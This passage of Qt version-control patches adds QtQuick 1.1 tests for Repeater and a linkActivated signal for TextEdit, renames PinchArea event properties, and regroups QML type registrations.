b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp @@ -75,6 +75,8 @@ private slots: void itemModel(); void resetModel(); void properties(); + void testQtQuick11Attributes(); + void testQtQuick11Attributes_data(); private: QDeclarativeView *createView(); @@ -599,6 +601,50 @@ void tst_QDeclarativeRepeater::properties() delete rootObject; } +void tst_QDeclarativeRepeater::testQtQuick11Attributes() +{ + QFETCH(QString, code); + QFETCH(QString, warning); + QFETCH(QString, error); + + QDeclarativeEngine engine; + QObject *obj; + + QDeclarativeComponent invalid(&engine); + invalid.setData("import QtQuick 1.0; Repeater { " + code.toUtf8() + " }", QUrl("")); + QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); + obj = invalid.create(); + QCOMPARE(invalid.errorString(), error); + delete obj; + + QDeclarativeComponent valid(&engine); + valid.setData("import QtQuick 1.1; Repeater { " + code.toUtf8() + " }", QUrl("")); + obj = valid.create(); + QVERIFY(obj); + QVERIFY(valid.errorString().isEmpty()); + delete obj; +} + +void tst_QDeclarativeRepeater::testQtQuick11Attributes_data() +{ + QTest::addColumn("code"); + QTest::addColumn("warning"); + QTest::addColumn("error"); + + QTest::newRow("itemAdded") << "onItemAdded: count" + << "QDeclarativeComponent: Component is not ready" + << ":1 Signal \"onItemAdded\" not available in QtQuick/Repeater 1.0\n"; + + QTest::newRow("itemRemoved") << "onItemRemoved: count" + << "QDeclarativeComponent: Component is not ready" + << ":1 Signal \"onItemRemoved\" not available in QtQuick/Repeater 1.0\n"; + + QTest::newRow("itemAt") << "Component.onCompleted: itemAt(0)" + << ":1: ReferenceError: Can't find variable: itemAt" + << ""; +} + + QDeclarativeView *tst_QDeclarativeRepeater::createView() { QDeclarativeView *canvas = new QDeclarativeView(0); -- cgit v0.12 From 8b45ca46095020c495b44d764bb439018a87d22a Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Fri, 7 Jan 2011 10:36:01 +1000 Subject: Add linkActivated signal to TextEdit Since TextEdit can also contain rich text with anchors, it should also have a linkActivated signal like Text does. Task-number: QTBUG-15283 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativeitemsmodule.cpp | 1 + .../graphicsitems/qdeclarativetextedit.cpp | 16 +- .../graphicsitems/qdeclarativetextedit_p.h | 1 + .../data-X11/linkActivated.0.png | Bin 0 -> 609 bytes .../data-X11/linkActivated.1.png | Bin 0 -> 677 bytes .../data-X11/linkActivated.qml | 191 +++++++++++++++++++++ .../qdeclarativetextedit/data/linkActivated.0.png | Bin 0 -> 609 bytes .../qdeclarativetextedit/data/linkActivated.1.png | Bin 0 -> 677 bytes .../qdeclarativetextedit/data/linkActivated.qml | 191 +++++++++++++++++++++ .../qdeclarativetextedit/linkActivated.qml | 15 ++ 10 files changed, 412 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index a462763..752e239 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -142,6 +142,7 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,0,"Scale"); qmlRegisterType("QtQuick",1,0,"Text"); qmlRegisterType("QtQuick",1,0,"TextEdit"); + qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT qmlRegisterType("QtQuick",1,0,"TextInput"); #endif diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index c1314ff..c71fd98 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -103,6 +103,14 @@ TextEdit { \sa Text, TextInput, {declarative/text/textselection}{Text Selection example} */ +/*! + \qmlsignal TextEdit::onLinkActivated(string link) + \since Quick 1.1 + + This handler is called when the user clicks on a link embedded in the text. + The link must be in rich text or HTML format and the + \a link string provides access to the particular link. +*/ QDeclarativeTextEdit::QDeclarativeTextEdit(QDeclarativeItem *parent) : QDeclarativePaintedItem(*(new QDeclarativeTextEditPrivate), parent) { @@ -894,11 +902,11 @@ void QDeclarativeTextEdit::setReadOnly(bool r) return; - Qt::TextInteractionFlags flags = Qt::NoTextInteraction; + Qt::TextInteractionFlags flags = Qt::LinksAccessibleByMouse; if (r) { - flags = Qt::TextSelectableByMouse; + flags = flags | Qt::TextSelectableByMouse; } else { - flags = Qt::TextEditorInteraction; + flags = flags | Qt::TextEditorInteraction; } d->control->setTextInteractionFlags(flags); if (!r) @@ -1260,6 +1268,7 @@ void QDeclarativeTextEditPrivate::init() control = new QTextControl(q); control->setIgnoreUnusedNavigationEvents(true); + control->setTextInteractionFlags(control->textInteractionFlags() | Qt::LinksAccessibleByMouse); // QTextControl follows the default text color // defined by the platform, declarative text @@ -1278,6 +1287,7 @@ void QDeclarativeTextEditPrivate::init() QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SLOT(updateSelectionMarkers())); QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorPositionChanged())); QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorRectangleChanged())); + QObject::connect(control, SIGNAL(linkActivated(QString)), q, SIGNAL(linkActivated(QString))); document = control->document(); document->setDefaultFont(font); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 691d995..37b24f7 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -221,6 +221,7 @@ Q_SIGNALS: void persistentSelectionChanged(bool isPersistentSelection); void textMarginChanged(qreal textMargin); void selectByMouseChanged(bool selectByMouse); + Q_REVISION(1) void linkActivated(const QString &link); public Q_SLOTS: void deselect(); diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png new file mode 100644 index 0000000..7d0d0ae Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png new file mode 100644 index 0000000..7d612bf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml new file mode 100644 index 0000000..8c7e380 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml @@ -0,0 +1,191 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "linkActivated.0.png" + } + Frame { + msec: 32 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 48 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 64 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 80 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 96 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 112 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 128 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 144 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 160 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 176 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 192 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 208 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 224 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 240 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 256 + hash: "53d97d0966197ea41364511dea13752f" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 21; y: 13 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 272 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Frame { + msec: 288 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Frame { + msec: 304 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 22; y: 11 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 320 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 23; y: 10 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 23; y: 10 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 336 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 352 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 368 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 384 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 400 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 416 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 432 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 448 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 464 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 480 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 496 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 512 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 528 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 544 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 560 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 576 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 592 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 608 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png new file mode 100644 index 0000000..7d0d0ae Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png new file mode 100644 index 0000000..7d612bf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml new file mode 100644 index 0000000..8c7e380 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml @@ -0,0 +1,191 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "linkActivated.0.png" + } + Frame { + msec: 32 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 48 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 64 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 80 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 96 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 112 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 128 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 144 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 160 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 176 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 192 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 208 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 224 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 240 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 256 + hash: "53d97d0966197ea41364511dea13752f" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 21; y: 13 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 272 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Frame { + msec: 288 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Frame { + msec: 304 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 22; y: 11 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 320 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 23; y: 10 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 23; y: 10 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 336 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 352 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 368 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 384 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 400 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 416 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 432 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 448 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 464 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 480 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 496 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 512 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 528 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 544 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 560 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 576 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 592 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 608 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml new file mode 100644 index 0000000..177d475 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml @@ -0,0 +1,15 @@ +import QtQuick 1.1 + +Rectangle{ + width: 100 + height: 100 + TextEdit{ + text: 'Click Me ' + onLinkActivated: txt.text=link; + } + Text{ + id: txt + y:50 + text: "unknown" + } +} -- cgit v0.12 From 9a186ba66506963b9d88518d5cea0846825ba494 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 7 Jan 2011 11:27:25 +1000 Subject: Add PinchArea autotests. Task-number: QTBUG-15491 --- tests/auto/declarative/declarative.pro | 1 + .../declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro index f0fcfa9..51597bd 100644 --- a/tests/auto/declarative/declarative.pro +++ b/tests/auto/declarative/declarative.pro @@ -45,6 +45,7 @@ SUBDIRS += \ qdeclarativemousearea \ qdeclarativeparticles \ qdeclarativepathview \ + qdeclarativepincharea \ qdeclarativepixmapcache \ qdeclarativepositioners \ qdeclarativeproperty \ diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp index d1015fc..f175033 100644 --- a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp @@ -229,7 +229,7 @@ void tst_QDeclarativePinchArea::scale() QTest::touchEvent(vp).move(0, p1).move(1, p2); QCOMPARE(root->property("scale").toReal(), 1.5); - QCOMPARE(root->property("center").toPointF(), QPointF(90, 90)); + QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50 QCOMPARE(blackRect->scale(), 1.5); // scale beyond bound @@ -283,7 +283,7 @@ void tst_QDeclarativePinchArea::pan() p2 += QPoint(10,10); QTest::touchEvent(vp).move(0, p1).move(1, p2); - QCOMPARE(root->property("center").toPointF(), QPointF(110, 110)); + QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50 QCOMPARE(blackRect->x(), 60.0); QCOMPARE(blackRect->y(), 60.0); -- cgit v0.12 From d57baa9be741e0db90e08cc39ba8d488f58c40f5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 7 Jan 2011 14:10:08 +1000 Subject: PinchArea API changes following review. Task-number: QTBUG-15491 Reviewed-by: Michael Brasser --- .../touchinteraction/pincharea/flickresize.qml | 6 ++-- .../graphicsitems/qdeclarativepincharea.cpp | 42 +++++++++++----------- .../graphicsitems/qdeclarativepincharea_p.h | 20 +++++------ .../qdeclarativepincharea/data/pinchproperties.qml | 2 +- 4 files changed, 35 insertions(+), 35 deletions(-) diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml index 8f29d6d..aa426e7 100644 --- a/examples/declarative/touchinteraction/pincharea/flickresize.qml +++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml @@ -56,11 +56,11 @@ Rectangle { height: Math.max(flick.contentHeight, flick.height) onPinchChanged: { // adjust content pos due to drag - flick.contentX += pinch.lastCenter.x - pinch.center.x - flick.contentY += pinch.lastCenter.y - pinch.center.y + flick.contentX += pinch.previousCenter.x - pinch.center.x + flick.contentY += pinch.previousCenter.y - pinch.center.y // resize content - var scale = 1.0 + pinch.scale - pinch.lastScale + var scale = 1.0 + pinch.scale - pinch.previousScale flick.resizeContent(flick.contentWidth * scale, flick.contentHeight * scale, pinch.center) } diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp index 998c30d..436099e 100644 --- a/src/declarative/graphicsitems/qdeclarativepincharea.cpp +++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp @@ -58,11 +58,11 @@ QT_BEGIN_NAMESPACE \bold {The PinchEvent element was added in QtQuick 1.1} - The \c center, \c startCenter, \c lastCenter properties provide the center position between the two touch points. + The \c center, \c startCenter, \c previousCenter properties provide the center position between the two touch points. - The \c scale and \c lastScale properties provide the scale factor. + The \c scale and \c previousScale properties provide the scale factor. - The \c angle, \c lastAngle and \c rotation properties provide the angle between the two points and the amount of rotation. + The \c angle, \c previousAngle and \c rotation properties provide the angle between the two points and the amount of rotation. The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points. @@ -75,26 +75,26 @@ QT_BEGIN_NAMESPACE /*! \qmlproperty QPointF PinchEvent::center \qmlproperty QPointF PinchEvent::startCenter - \qmlproperty QPointF PinchEvent::lastCenter + \qmlproperty QPointF PinchEvent::previousCenter These properties hold the position of the center point between the two touch points. \list \o \c center is the current center point - \o \c lastCenter is the center point of the previous event. + \o \c previousCenter is the center point of the previous event. \o \c startCenter is the center point when the gesture began \endlist */ /*! \qmlproperty real PinchEvent::scale - \qmlproperty real PinchEvent::lastScale + \qmlproperty real PinchEvent::previousScale These properties hold the scale factor determined by the change in distance between the two touch points. \list \o \c scale is the current scale factor. - \o \c lastScale is the scale factor of the previous event. + \o \c previousScale is the scale factor of the previous event. \endlist When a pinch gesture is started, the scale is 1.0. @@ -102,14 +102,14 @@ QT_BEGIN_NAMESPACE /*! \qmlproperty real PinchEvent::angle - \qmlproperty real PinchEvent::lastAngle + \qmlproperty real PinchEvent::previousAngle \qmlproperty real PinchEvent::rotation These properties hold the angle between the two touch points. \list \o \c angle is the current angle between the two points in the range -180 to 180. - \o \c lastAngle is the angle of the previous event. + \o \c previousAngle is the angle of the previous event. \o \c rotation is the total rotation since the pinch gesture started. \endlist @@ -169,7 +169,7 @@ QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate() \list \o setting a \c pinch.target to provide automatic interaction with an element - \o using the onPinchStarted, onPinchChanged and onPinchFinished handlers + \o using the onPinchStarted, onPinchUpdated and onPinchFinished handlers \endlist \sa PinchEvent @@ -188,7 +188,7 @@ QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate() */ /*! - \qmlsignal PinchArea::onPinchChanged() + \qmlsignal PinchArea::onPinchUpdated() This handler is called when the pinch area detects that a pinch gesture has changed. @@ -304,9 +304,9 @@ void QDeclarativePinchArea::updatePinch() QPointF pinchCenter = mapFromScene(d->sceneLastCenter); QDeclarativePinchEvent pe(pinchCenter, d->pinchLastScale, d->pinchLastAngle, rotationAngle); pe.setStartCenter(d->pinchStartCenter); - pe.setLastCenter(pinchCenter); - pe.setLastAngle(d->pinchLastAngle); - pe.setLastScale(d->pinchLastScale); + pe.setPreviousCenter(pinchCenter); + pe.setPreviousAngle(d->pinchLastAngle); + pe.setPreviousScale(d->pinchLastScale); pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); pe.setPoint1(d->lastPoint1); @@ -352,9 +352,9 @@ void QDeclarativePinchArea::updatePinch() d->lastPoint2 = d->touchPoints.at(1).pos(); QDeclarativePinchEvent pe(d->pinchStartCenter, 1.0, angle, 0.0); pe.setStartCenter(d->pinchStartCenter); - pe.setLastCenter(d->pinchStartCenter); - pe.setLastAngle(d->pinchLastAngle); - pe.setLastScale(d->pinchLastScale); + pe.setPreviousCenter(d->pinchStartCenter); + pe.setPreviousAngle(d->pinchLastAngle); + pe.setPreviousScale(d->pinchLastScale); pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); pe.setPoint1(d->lastPoint1); @@ -383,9 +383,9 @@ void QDeclarativePinchArea::updatePinch() QPointF pinchCenter = mapFromScene(sceneCenter); QDeclarativePinchEvent pe(pinchCenter, scale, angle, rotationAngle); pe.setStartCenter(d->pinchStartCenter); - pe.setLastCenter(mapFromScene(d->sceneLastCenter)); - pe.setLastAngle(d->pinchLastAngle); - pe.setLastScale(d->pinchLastScale); + pe.setPreviousCenter(mapFromScene(d->sceneLastCenter)); + pe.setPreviousAngle(d->pinchLastAngle); + pe.setPreviousScale(d->pinchLastScale); pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); pe.setPoint1(d->touchPoints.at(0).pos()); @@ -395,7 +395,7 @@ void QDeclarativePinchArea::updatePinch() d->pinchLastAngle = angle; d->lastPoint1 = d->touchPoints.at(0).pos(); d->lastPoint2 = d->touchPoints.at(1).pos(); - emit pinchChanged(&pe); + emit pinchUpdated(&pe); if (d->pinch && d->pinch->target()) { qreal s = d->pinchStartScale * scale; s = qMin(qMax(pinch()->minimumScale(),s), pinch()->maximumScale()); diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h index 9a73a17..cd5423d 100644 --- a/src/declarative/graphicsitems/qdeclarativepincharea_p.h +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h @@ -193,11 +193,11 @@ class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject Q_PROPERTY(QPointF center READ center) Q_PROPERTY(QPointF startCenter READ startCenter) - Q_PROPERTY(QPointF lastCenter READ lastCenter) + Q_PROPERTY(QPointF previousCenter READ previousCenter) Q_PROPERTY(qreal scale READ scale) - Q_PROPERTY(qreal lastScale READ lastScale) + Q_PROPERTY(qreal previousScale READ previousScale) Q_PROPERTY(qreal angle READ angle) - Q_PROPERTY(qreal lastAngle READ lastAngle) + Q_PROPERTY(qreal previousAngle READ previousAngle) Q_PROPERTY(qreal rotation READ rotation) Q_PROPERTY(QPointF point1 READ point1) Q_PROPERTY(QPointF startPoint1 READ startPoint1) @@ -212,14 +212,14 @@ public: QPointF center() const { return m_center; } QPointF startCenter() const { return m_startCenter; } void setStartCenter(QPointF c) { m_startCenter = c; } - QPointF lastCenter() const { return m_lastCenter; } - void setLastCenter(QPointF c) { m_lastCenter = c; } + QPointF previousCenter() const { return m_lastCenter; } + void setPreviousCenter(QPointF c) { m_lastCenter = c; } qreal scale() const { return m_scale; } - qreal lastScale() const { return m_lastScale; } - void setLastScale(qreal s) { m_lastScale = s; } + qreal previousScale() const { return m_lastScale; } + void setPreviousScale(qreal s) { m_lastScale = s; } qreal angle() const { return m_angle; } - qreal lastAngle() const { return m_lastAngle; } - void setLastAngle(qreal a) { m_lastAngle = a; } + qreal previousAngle() const { return m_lastAngle; } + void setPreviousAngle(qreal a) { m_lastAngle = a; } qreal rotation() const { return m_rotation; } QPointF point1() const { return m_point1; } void setPoint1(QPointF p) { m_point1 = p; } @@ -271,7 +271,7 @@ public: Q_SIGNALS: void enabledChanged(); void pinchStarted(QDeclarativePinchEvent *pinch); - void pinchChanged(QDeclarativePinchEvent *pinch); + void pinchUpdated(QDeclarativePinchEvent *pinch); void pinchFinished(QDeclarativePinchEvent *pinch); protected: diff --git a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml index f39ea06..0b59d9d 100644 --- a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml +++ b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml @@ -33,7 +33,7 @@ Rectangle { whiteRect.center = pinch.center whiteRect.scale = pinch.scale } - onPinchChanged: { + onPinchUpdated: { whiteRect.center = pinch.center whiteRect.scale = pinch.scale } -- cgit v0.12 From 5f4bf308ac7d4c81374f651103f85d45e0065d05 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 7 Jan 2011 14:11:43 +1000 Subject: Group all QtQuick 1.1 registrations together Task-number: QTBUG-15279 --- src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 5e04168..7db4d85 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -142,20 +142,16 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,0,"Scale"); qmlRegisterType("QtQuick",1,0,"Text"); qmlRegisterType("QtQuick",1,0,"TextEdit"); - qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT qmlRegisterType("QtQuick",1,0,"TextInput"); #endif qmlRegisterType("QtQuick",1,0,"ViewSection"); qmlRegisterType("QtQuick",1,0,"VisualDataModel"); qmlRegisterType("QtQuick",1,0,"VisualItemModel"); - qmlRegisterType("QtQuick",1,1,"PinchArea"); - qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); - qmlRegisterType(); qmlRegisterType(); qmlRegisterType("QtQuick",1,0,"QGraphicsWidget"); qmlRegisterExtendedType("QtQuick",1,0,"QGraphicsWidget"); @@ -176,13 +172,16 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType(); #endif - // QtQuick 1.1 items - qmlRegisterType("QtQuick",1,1,"Repeater"); - - qmlRegisterUncreatableType("QtQuick",1,0,"KeyNavigation",QDeclarativeKeyNavigationAttached::tr("KeyNavigation is only available via attached properties")); qmlRegisterUncreatableType("QtQuick",1,0,"Keys",QDeclarativeKeysAttached::tr("Keys is only available via attached properties")); + // QtQuick 1.1 items + qmlRegisterType("QtQuick",1,1,"PinchArea"); + qmlRegisterType("QtQuick",1,1,"Pinch"); + qmlRegisterType(); + qmlRegisterType("QtQuick",1,1,"Repeater"); + qmlRegisterType("QtQuick",1,1,"TextEdit"); + #ifndef QT_NO_IMPORT_QT47_QML #ifdef QT_NO_MOVIE qmlRegisterTypeNotAvailable("Qt",4,7,"AnimatedImage", -- cgit v0.12 From d3a6fcd9174b893aaac9db7d5e541ceb54b12402 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Thu, 23 Dec 2010 12:24:47 +1000 Subject: Introduce Qt.application.active property Replaces qmlviewer's runtime.activeWindow property. Task-number: QTBUG-13351 